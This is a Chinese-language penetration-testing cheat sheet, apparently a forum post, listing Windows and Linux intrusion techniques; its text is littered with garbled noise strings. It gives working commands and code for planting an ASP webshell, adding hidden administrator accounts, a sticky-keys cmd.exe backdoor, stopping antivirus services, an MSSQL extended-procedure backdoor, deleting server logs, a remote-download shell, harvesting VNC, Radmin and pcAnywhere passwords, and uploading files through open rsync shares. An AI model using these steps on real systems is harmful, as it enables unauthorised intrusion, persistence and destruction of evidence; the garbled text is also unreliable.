渗透技巧总结

admin

旁站路径问题
( O2 n) f. x9 |; g/ A5 H1、读网站配置。
+ i; C$ {: a7 D. V2、用以下VBS
$ J% a) w9 \3 D2 nOn Error Resume Next
0 l0 Y; q! F! `If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
8 O1 n: v! q- s0 F$ b4 B        
+ X% t' G$ p8 W6 b2 b
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

  S! d# d) s: _# sUsage:Cscript vWeb.vbs",4096,"Lilo"
' O9 W9 O6 k; m        WScript.Quit
End If
) a( I( |; X  ~$ _  |0 g9 QSet ObjService=GetObject

("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
% `9 g& d8 @' u7 `0 V' |* X
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
7 ?; t' d( J9 Q. n( h$ v
1 Q; P+ D2 s) f7 F<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

, v  ^0 r0 u2 l+ DOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
* U. P" p  ^1 y3 M     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
' W, u+ `0 Z) z* `                Next
. W, q0 o+ x0 r6 Q" |$ V' i      
5 N' U6 S/ }6 `6 j. U* }
+ |- b+ B0 f- ~         WScript.Echo "ath            : " & VDirObj.Path
        End If
/ u. o# r+ k  T5 LNext
. B+ E: O2 t% C: ]" G" T) n复制代码
/ W2 X, L" ]- f7 d+ o2 F3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
1 n2 G! H& X7 k5 O+ u( v8 }4 C4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
7 ]6 f" c6 S+ K: T——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
+ x" n! A+ W3 uphpMyAdmin/darkblue_orange/layout.inc.php
6 A+ c9 |9 X3 P4 ?" g  zphpMyAdmin/index.php?lang[]=1
$ m, r" a  S* b# Cphpmyadmin/themes/darkblue_orange/layout.inc.php
9 f9 `' w1 T; a  H  \————————————————————
( c9 f# H) m3 [& I! O5 e- r7 N# _网站可能目录(注：一般是虚拟主机类）
$ |$ U; r& e; f! t( A* Y# j. _data/htdocs.网站/网站/
/ K' X- `4 T4 S————————————————————
CMD下操作VPN相关
2 t7 L& N& j7 jnetsh ras set user administrator permit #允许administrator拨入该VPN
9 R8 O% x* N) a, ~! p1 inetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
9 h' O2 ]2 T$ c2 vnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
( u" ^, s; k8 L% I————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
. W/ b) I( C* \: ?, g/ @% Texec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
6 u7 O, n& I; ]( {3 p, Q! M然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
0 p: \- }$ F) H0 E在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
+ a! s1 H) Z4 K% c* w0 Yjs:
4 |; U5 W* o& |* L4 {var o=new ActiveXObject( "Shell.Users" );
5 u( k, x& ^( f# l( Iz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
, E. j- ~- h1 {( l3 t
4 I; Z9 }" H, gvbs:
/ h3 _+ }2 w+ o8 BSet   o=CreateObject( "Shell.Users" )
3 u. |7 r% D0 E# z5 gSet z=o.create("test")
1 u8 f8 l+ |' {9 _7 d. M/ O. gz.changePassword "123456",""
( [$ I0 V( W! h" q8 uz.setting("AccountType")=3
——————————————————
, u# p) {5 O& M# ycmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
8 ~4 a1 B+ L0 K
命令如下
4 z( c4 u0 v! F6 D  p# c3 d+ }cacls c: /e /t /g everyone:F           #c盘everyone权限
/ ^+ U! p! d& O/ @) j6 Z  Acacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
7 w+ }$ }( l) y2 B' q: m# ^3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
" _  _6 L+ N: Y; g+ X* E& k& fb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
1 H4 l& J, R! z* E9 `2003 运行mstsc /console   
  q' A9 Q8 c3 r6 Y' a/ d
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
  Y! t3 p' |$ i- Q# O; D( g( Znet stop "Symantec AntiVirus Definition Watcher" /y
# r+ }+ T, o. Bnet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
1 U5 v6 w; y. K/ L; r! p5 Xnet stop "Symantec Settings Manager" /y
! R% l" i5 A9 {  U2 `
卖咖啡：net stop "McAfee McShield"
7 N; b5 L+ w5 q8 r7 Z' j1 k————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
. s; ?# Y# g: v6 m$ y/ M, c4 ^copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
: j5 Y$ H! [& {. I) [/ C1 j  ]# F8 Z4 jcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
) I+ o( h0 o' r7 ?8 n; K隐藏账号添加：
1 `2 u/ e& U1 r3 j9 D9 g1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
7 K, @  I, ~7 v0 t2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
0 b3 q' P) ^' R% l——————————————————————
0 v7 o3 _: @' o% S# }' Z3 uMSSQL扩展后门：
! ^. n6 W+ K, ]! e) ^7 Z0 ~USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
) g. q4 }: V' r' f- k% ]———————————————————————
日志处理
& G2 H, I0 x. J( a; j1 wC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
. l* b2 w, a" Q2 y# W( q7 O! I直接删除 ex0111124.log
6 R( h6 ^5 c$ |不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
$ I& h! A  T, F% u% t, w
MSSQL查询分析器连接记录清除：
- @$ W) E# |' W) y; R% WMSSQL 2000位于注册表如下：
8 V0 `) b; j) N7 JHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
' {# R4 L& j# s5 k- x8 e& ~# r8 t$ C0 u找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

  B: \2 z% ]5 |# o0 x& @+ _5 {Server\90\Tools\Shell\mru.dat
: i5 k5 y- E9 Z0 \( }( {—————————————————————————
3 Q: z9 k% x0 H( P, f9 i2 E% u防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
1 q" o6 V6 f3 a; JDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
/ D7 s) q  m; A% r+ `, _.Open "Get", s_RemoteFileUrl, False, "", ""
, }' T8 m  j0 I. X8 `' @.Send
" r6 s+ j8 l7 ]- G* R  W& aGetRemoteData = .ResponseBody
End With
1 e/ e) h& n$ J* e) ~/ B( e; cSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
6 b/ x4 ~& C5 r. a5 R.Type = 1
) M/ G0 W8 ?  S# S. J8 w- N.Open
# T1 ]  J8 e- }1 J/ X7 x.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
. D5 S7 y8 B* C.Cancel()
.Close()
3 e+ u. i2 ~6 e. w" REnd With
Set Ads=nothing
7 E1 |* N" K+ {- j# F* tEnd Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
) @$ o3 n! P9 I+ n%>
4 L/ ~: ]# z; ^
! q& ]; J, U1 S$ g4 a9 k( DVNC提权方法:
. p  z: O' r0 `9 C4 f- u利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
/ v6 C$ g" t9 [9 o1 V7 k; v" f* p注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
: H8 L, [4 W3 O8 Z2 f2 h0 pregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
% h2 A, t2 d/ R4 @2 i0 D( ^regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
$ R# C3 U5 K4 X8 v# fHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
- {7 G7 b  U# C6 ?" g" x8 E" E保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
% B5 ]  j* }2 JUsers\Application Data\Symantec\pcAnywhere\文件夹下。
; c1 @5 Y2 ?/ g/ X2 H: z6 D* v: @9 F——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
1 z0 g0 j; Q4 v- N7 {& y——————————————————----------
7 B; O) E5 o, }9 i6 VWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
) C. V/ h( n* c8 k2 i$ H% j来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
( J$ j/ r9 }1 n) L没有删cmd组建的直接加用户。
- S( f) g. [* Y; y1 }# l7i24的web目录也是可写，权限为administrator。
8 r% a1 _0 h& ~& E0 _9 T
5 k5 C7 F. u% I( r0 i1433 SA点构建注入点。
8 Q$ ~3 y4 E5 H) {) M<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
, a1 J) Y3 u9 Y0 e% j( W% @* y: fstrSQLDBPassword = "数据库密码"
  @. \4 F+ p3 ZstrSQLDBName = "数据库名称"
+ C# U, c7 w0 T- H8 E( QSet conn = Server.createObject("ADODB.Connection")
4 ]" P0 ~8 e  g7 _( a- Z* X: K* \strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
" [5 A8 t- _3 \! |) n
strSQLDBName & ";"
; G) e5 `3 u+ c" Econn.open strCon
* ^" b. u( l" W) a& P0 q- xdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
' \% \/ _) P$ m" Z' T/ M8 r! }7 NstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
! A/ ^1 B: q8 n9 @%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
4 {3 Y. s; ~3 m7 \4 d  D" p看看密码登录策略我们可以看到使用了file ldap模式
( r! v7 o/ J6 R/ o2 ?9 U# r/ u+ r
& T% l. G3 X/ L( E2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
$ ^9 S" ]. C' B1 P找到ou,dc,dc设置

3.查找管理员信息
$ l. O" I% e( c; s& M4 w匿名方式
' `0 U  ?0 H8 M$ [) f0 O& Hldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

3 ], @2 }0 B6 d' Q' w& w* ~1 T7 N"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
. q* U+ ~8 o+ Q4 b5 D' N有密码形式
% ~/ [5 Q2 c" I, Q9 ?2 s% X) Fldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

3 j$ q' I* \& [" f% z2 H0 B; d. u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
5 Y+ {1 P  _" {0 c1 d8 B, Y1 X

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
5 E/ S. C# E5 `5 y( [
实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
3 K) d: z! f. m  G) R* T7 I3 i
2 m5 v% w# {8 c! R* n! s2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

0 t2 X2 c* w- B! |1 H2 v3.查找管理员信息
匿名方式
; Q3 W) h; I2 Cldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
$ _2 U; V: k% H) c- `5 E
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
! J* k3 z. C; f有密码形式
$ @" f. P/ @5 h- _6 w4 Gldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

3 D) A* Z2 ]' D5 p"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
  H6 s: z; B6 W; _) K9 X/ u. L
) @  P$ T" W0 d- k; @
4.查找10条用户记录
+ ^1 W* p% @/ _9 t- V8 K8 ?& r3 f# aldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
8 [5 M. h+ {( o9 _9 I0 h. Q) }1.返回所有的属性
5 @" k) R3 y6 k& Gldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
" p8 |4 m2 j1 j) F" c5 p9 zdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
& d. K, m5 [7 [* C
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
3 C$ G2 A# d3 y: EobjectClass: inetOrgPerson
- t- ~' s' Q. B' Z8 i8 \+ |objectClass: organizationalPerson
5 c6 t3 g( _4 c2 c' z9 SobjectClass: person
. C- d+ u" P+ o0 i: TobjectClass: top
- M5 U( n/ f0 P8 n/ Rsn: manager
cn: manager
" j9 j+ W+ K: {2 J% y, I
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
" ?' S' d" p9 o8 r3 n% g7 l  Q* lobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
; q0 |5 L2 C/ e/ D+ |* c2 Gsn: superadmin
cn: superadmin

0 G3 w/ x- l: v* k! t  ~$ h1 edn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
* q9 Y6 O3 r6 z: |objectClass: person
objectClass: top
+ f, M+ J2 G9 v/ d6 I* v% Q& Usn: admin
# i6 o8 Q) g* K) Wcn: admin

* E' c  V3 J2 d6 C' }9 F3 sdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
* ~% X' i* A8 R2 F: ^uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
+ X# Z6 k/ n, d$ ?( u- aobjectClass: inetOrgPerson
$ Q( `  M" E% \sn: dcp_anonymous
cn: dcp_anonymous
$ W, D# `$ G* n* ?% N, g7 a3 p
" I1 ]2 g* j( }+ P  Z* Q) \2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
7 t5 R1 h; ^$ L' }1 fobjectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
" ]! |  u' t; {8 `  }8 Z! ]version: 1
dn:
: ]- w/ C! {/ R& w' x# K  aobjectClass: top
" s& K% T: j$ b4 A( V8 s- A1 wnamingContexts: dc=ruc,dc=edu,dc=cn
% ?2 R$ i& ^( J% k) `supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
) G. A. n4 ?% V( psupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
4 l$ ~1 {5 `3 T, c/ MsupportedExtension: 2.16.840.1.113730.3.5.4
4 J- d9 l' r7 bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
7 n2 g$ g7 W* JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
' v/ Y! P# c4 @" _% h$ W- R0 D# vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
* j, N9 i! M7 n4 p/ r, qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
" N* f# I2 V8 p4 Q, tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
$ o, a1 H7 w% l# E2 ?; I" u% }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
: |* v) Q2 Z5 w# c+ g1 k( J5 ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
, W- Q/ D8 n0 X8 s- c; u( R0 SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
- y1 `) a+ ], J2 `- z- r4 tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
- w, R" s. k. u9 `; c) @4 F  VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
" |( i1 m( A7 m& c; P9 ?. BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
4 U8 h$ k& O8 x2 E0 B( Q) M1 dsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
; E+ H' }& Z( [! G$ v- usupportedControl: 2.16.840.1.113730.3.4.2
1 A! H0 Y6 J. s$ msupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
+ d" l7 Z$ O  b5 ^9 v7 psupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
4 X! r9 L' Z' ^4 w  r. i9 s" ~supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
0 Z' r, c* X  }) HsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
+ y, t1 _" A3 j. k/ C! X3 `, dsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
! I+ \( @/ D! O( Y, i: D9 \supportedControl: 2.16.840.1.113730.3.4.14
$ a+ K+ t; w. r1 {supportedControl: 1.3.6.1.4.1.1466.29539.12
- O( E" d/ B0 C0 K8 U1 a! YsupportedControl: 2.16.840.1.113730.3.4.12
1 x5 x" s% y& w6 [/ W8 L6 bsupportedControl: 2.16.840.1.113730.3.4.18
; r2 _. ~5 e/ m& @3 n, DsupportedControl: 2.16.840.1.113730.3.4.13
1 n- I0 ^% U; f6 isupportedSASLMechanisms: EXTERNAL
) v7 G  x/ T* B/ z9 n, csupportedSASLMechanisms: DIGEST-MD5
9 R1 J6 w8 L1 v: a* OsupportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
" Z: g( J  O1 I3 K3 t0 P' |vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
. M% ~+ B0 i+ _# QsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
+ g3 Y/ r/ A7 KsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
( F& W8 N% Y1 y5 Q! P4 vsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
+ o1 t; I0 D# V& nsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
+ \% H4 Z3 C) e% u3 x# G7 [) nsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
% C  J/ g; k6 x$ W' B, W+ asupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
. U) p, O5 ]5 I7 j( lsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
/ o* |  G6 }! P) ysupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
2 o- d2 L) D3 |/ T0 Z  m3 _0 C# SsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
) {1 K& C6 z3 r$ usupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
: U& B0 V/ n6 QsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
- \7 p, o7 P4 k0 UsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
& T  |/ X/ t% r+ L  ?- UsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
& L  W9 q( H3 m  ^) G# JsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
# k0 Z; k2 @# P5 D! }- p$ ?1 V+ PsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
5 w; V0 i# F) r: z9 p. _supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
4 e' l3 ~1 ?# j$ c  wsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
+ u5 g' B. G* _/ h  NsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
/ P+ ?* G) z" X" C" w8 N! fsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
- s/ R; n& W# M( m/ H* C( ]! AsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
) X# D$ w4 x( I% }3 t8 C1 B/ j0 KsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
8 C: O7 X6 j5 R% a2 E. E6 M9 HsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
$ p, x% }4 D  f6 |* h0 _1 MsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
: T4 k/ f: F3 A! c( tsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
+ e) u5 H/ l0 QsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
8 l$ Z) j% M# m/ P  asupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
2 b* M- C6 n$ S. X) [. vsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
; Y" h  w# Z7 mshowmount -e ip
列举IP
0 T. Y; f( K( ]: [——————
/ B+ ]0 [& Y: @% k- w$ O+ h( R3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
9 Q7 z$ h( o) `6 |) a* Oimg_finance
+ V$ C1 `5 }, I7 c5 ?1 r! Hauto
- V6 f& l4 m& g5 A" }3 bimg_auto
  ?1 e. Y/ D9 j( ]2 s. L4 yhtml_cms
img_cms
( a( Z1 ~7 {8 {, K& D: Sent_cms
ent_img
7 Z3 e$ D" F  o8 j4 U4 iceshi
9 b2 T( H+ p: t; q$ b# d. g( `res_img
) s/ S, C2 V$ g4 v- Hres_img_c2
! `* o6 \$ x& N# l. ~6 N$ h8 n+ P) j' Cchip
; Z. E1 x, R/ Y' Cchip_c2
ent_icms
, C. h' ?) Z% L  D- @% bgames
' C. M: Y, [/ @: x. sgamesimg
5 S; O2 {. p  ~0 i- O: Ymedia
mediaimg
fashion
res-fashion
res-fo
taobao-home
- M; m* _+ x$ U$ x3 {+ A5 A$ K( Gres-taobao-home
house
4 \, y  A- `5 x8 s8 X: |6 ?res-house
* Z+ C; |! y8 A+ U; y  c# K. s9 o+ Ires-home
res-edu
9 a: g( H( d- Nres-ent
res-labs
" k1 L. I  t  N5 f7 M* k& I* Xres-news
8 `  z  W  ], q2 ], F- [: F$ z8 Ores-phtv
res-media
home
edu
news
res-book

看相应的下级目录(注意一定要在目录后面添加上/)

: I" Y9 e3 s8 x; L
rsync 210.51.X.X::htdocs_app/
& m. b- h$ s: E. i( L, crsync 210.51.X.X::auto/
8 ^0 i; k5 z& D6 p: l; zrsync 210.51.X.X::edu/
$ e4 L6 Y8 q% @! G/ h% S4 t5 u
2.下载rsync服务器上的配置文件
. G( `- d+ ?, k! x. f$ ^rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
9 x2 I! j& Z2 m/ c
: Y( [* S: A7 V. l3.向上更新rsync文件(成功上传,不会覆盖)
' t1 K0 T9 V* ]rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
0 C( e: }. P5 @# S; Dhttp://app.finance.xxx.com/warn/nothack.txt

) r3 a" I2 w& V6 N  y; V9 I  ]3 G# K四.squid渗透技巧
( C: F/ F' Q( `nc -vv baidu.com 80
" k+ `6 P2 j( z7 E: _GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
8 Z% s. q& p% O% z+ I6 l% |ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
$ k. v& n, ^, n/ r. V( Q  e
4 ~2 n& ^% ^9 z/ C9 }- O# w六.joomla渗透小技巧
确定版本
% V$ a8 f( M" c) f/ @# N6 ^2 v8 Oindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

9 y9 O' G2 F. S7 p15&catid=32:languages&Itemid=47
8 j* K7 b  d3 H( ^! h2 o
重新设置密码
' {9 t& Z9 w  Y/ Eindex.php?option=com_user&view=reset&layout=confirm
